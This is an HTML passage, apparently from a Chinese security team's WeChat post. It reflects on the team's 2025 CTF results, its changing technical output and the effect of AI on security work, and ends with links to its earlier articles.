0px;border-bottom-left-radius: 0px;"><span leaf="">当“多元化支撑”成为常态，我们就是那块需要时随时顶上的“基础模块”。</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">CTF与竞赛：热爱可抵岁月忙</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在日常工作之外，CTF赛场上的那份热爱依然生长。从线上赛的云端博弈，到线下赛的实地交锋。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">星光不负赶路人。这一年，我们荣获</span><span leaf="" style="flex-direction: column;font-family: Optima, PingFangSC-light, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;color: rgb(248, 57, 41);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">二等奖2项、三等奖7项、优胜奖1项</span><span leaf="">。这可能和我们理想的目标还有些许差距，但每一份荣誉都是成长的见证。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">相比成绩，我们更珍惜这种能为共同爱好集结、并肩作战的状态，它让技术保持敏感，让团队保持连接，也让热爱成为推动前行的内在动力。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">因热爱而投入，因纯粹而珍贵。</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">技术输出：形式变化，积累未停</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这一年，技术文章和内部培训的数量锐减。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">随着业务重心的调整，技术沉淀更多地融入到项目实践、工具建设和场景探索之中，从“写出来”逐步转向“用出来”。</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">于细微处筑牢安全之基，于实践中淬炼专业之力。</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在实战中总结经验，在实践中校验思路，在探索中理解 AI 与安全的结合方式，这些积累或许不张扬，却真实而扎实。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">思考从未停下，只是换了一种方式继续。</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">AI 与现实：焦虑之外，与变化同行</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年，AI 对安全行业的影响更加直接，也更加具体。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">自动化能力在提升，工具在变强，一些原本高度依赖人工的工作正在被重新定义。焦虑是真实存在的，紧迫感也是。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">但这一年我们也越来越清楚地认识到：</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI 擅长的是效率，而安全真正的价值，往往存在于不确定性里。</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">AI替代的不是安全工程师，而是重复劳动。我们能做的，不是抗拒变化，而是尽可能让自己站在变化的前面一点点。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">算法正在逼近最优解，而安全从来不是一条直线的计算过程。在噪声、误判与未知之间，仍需要有人理解上下文、承担责任，并在不确定中做出选择。</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">写在最后</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年，没有掌声雷动，也没有高光时刻。这一年，或许我们不是走得最快的那一群人，但我们还在稳步前行。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">山有顶峰，湖有彼岸，在人生漫漫长途中，万物皆有回转。当我们觉得余味苦涩，请你相信，一切终有回甘。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">前方，道阻且长，行则将至。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">身后，初心未改，温暖可期。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">2026，新岁景明，步履坚定，昭昭如愿，岁岁安澜。</span></strong></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6018518518518519" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100038247" src="https://wechat2rss.xlab.app/img-proxy/?k=04e96f41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RWFLtKFEDrw4TKRkzEibmC2buxguHHBV4sA4CaXAJwOr2OKOZToeSszoZ9hviaTFnl8tubTtyrIoqBg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 